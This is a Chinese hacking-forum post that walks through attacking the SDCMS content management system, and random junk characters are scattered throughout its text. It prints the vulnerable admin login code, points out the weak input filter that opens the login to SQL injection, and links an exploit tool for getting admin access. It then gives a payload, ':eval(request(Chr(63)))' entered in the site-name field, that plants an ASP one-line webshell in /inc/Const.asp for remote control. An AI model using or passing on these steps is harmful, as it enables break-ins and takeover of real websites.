SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
& R! A4 `0 p; ?$ J! G
Sub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
6 M, m# B3 U+ y    username=FilterText(Trim(Request.Form("username")),1)
3 `6 R3 r) ?2 N- }: Z: O    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
, \& ^5 [7 @' E; |* H! S( U% P    getcode=Session("SDCMSCode")
5 ?2 {7 S2 q! M9 ^1 O' f7 r    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
; t' T, i# w' |0 ?    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
( d# o1 j& Z8 P( I    Else
& \/ Z7 m7 _- Q, o        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
. J; K4 P/ Z0 X% S  a5 E2 m            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
8 Z7 P; l, y# A        Else
) K, }+ _; L) C            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
% ]) H8 T( L; y; ?/ ?            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
! n+ x/ S4 v5 ~3 O  e2 b7 X            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
+ U$ M9 Y+ J6 ~! c! V            AddLog username,GetIp,"登录成功",1
# c; }: l% c+ ~7 [/ G+ ~            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
7 g" `7 I# V5 ~' K) T1 u" B. [                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
/ }# K& D7 V! d* X            Go("sdcms_index.asp")
        End IF
8 V" i0 {' ]; h        Rs.Close
3 l& O2 e7 I4 W6 k        Set Rs=Nothing
* _. Q( k( q! R/ p    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
$ B; D3 F4 W$ {0 Z' P( `    t0=Trim(t0)
    Select Case t1
        Case "1"
: d- H' ~+ _7 N# z. S5 _' H6 H            t0=Replace(t0,Chr(32),"")
  L8 u( n' H% s: S* o            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
- {( U% D4 ]6 T            t0=Replace(t0,Chr(10),"")
1 j2 _/ p1 R  B0 |        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
! K! _/ K+ s- A6 }! _            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
) e) c0 P5 l4 O, H( n' s. K            t0=Replace(t0,Chr(34),"")'"
& ]7 x3 ?+ M: {* w1 h8 F; N, b            t0=Replace(t0,Chr(35),"")'#
9 K9 y- o0 N$ m) I- T            t0=Replace(t0,Chr(36),"")'$
/ }( l( P9 F2 u# Q( R9 T            t0=Replace(t0,Chr(37),"")'%
0 ]5 f2 b  L$ b- S) N+ T5 E3 E/ H            t0=Replace(t0,Chr(38),"")'&
( G; x0 l/ i2 B' {+ D) A            t0=Replace(t0,Chr(39),"")''
. f: n) t: Y1 G            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
8 c8 [$ R2 V* h( |4 ?  ]# R! ~  e            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
  V2 ]9 r: ^) Y/ z' }            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
* P$ q1 ^( M" E/ z7 W            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
2 r. Z/ G% T7 u% t2 ?            t0=Replace(t0,Chr(92),"")'\
) t$ M, z2 i! v1 C            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
0 B& W4 i6 k! x            t0=Replace(t0,Chr(95),"")'_
+ ^# ^% @# S4 U            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
! I6 Q% p. X+ @+ c6 Q! X            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
& V( W8 ^7 L* J    Case Else
' b: o& v! T2 f0 v/ J        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
* O: W' q" U1 o. l! Z) ?- C, r    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
8 J: d+ x8 H' t8 H- ]    End If
    FilterText=t0
End Function
" M# u; Q: [8 Q" @. Y
看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
1 u1 e* Z' a+ C' ^                        t0=Replace(t0,Chr(10)&Chr(10),"
")
                        t0=Replace(t0,Chr(10),"
9 k6 ^# M1 }; `5 N; h" R: ^")
$ D+ D1 ?1 m. n, W  R2 u漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
) q: w6 Y& ?1 H! d
测试:

( H2 Y7 d/ {: @4 V
3 Y* T7 ]( p8 r$ j8 c现在输入工具上验证码,然后点OK
3 W5 X; R4 d7 U2 s# C9 s

看到我们直接进入后台管理界面了,呵呵!
8 ]% ?$ }5 \, d% U: P) c5 t

; l( \, b; R0 _; o% _8 Y! C/ A# N8 u
6 z/ ~* m) f) H- R& i  L# N这样直接进入后台了。。。。



SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
( i3 V, t' @& s( S- s; y2 |
1 O" D; R, k; o5 V
- L+ y3 k( g4 t7 L. H1 a* _8 [
OK,现在用菜刀连接下!



7 @' [! Z+ J* ], i4 k: f- k, |/ H
5 E& {$ {, g+ S6 P
' F5 j8 q. n9 `: U8 G) _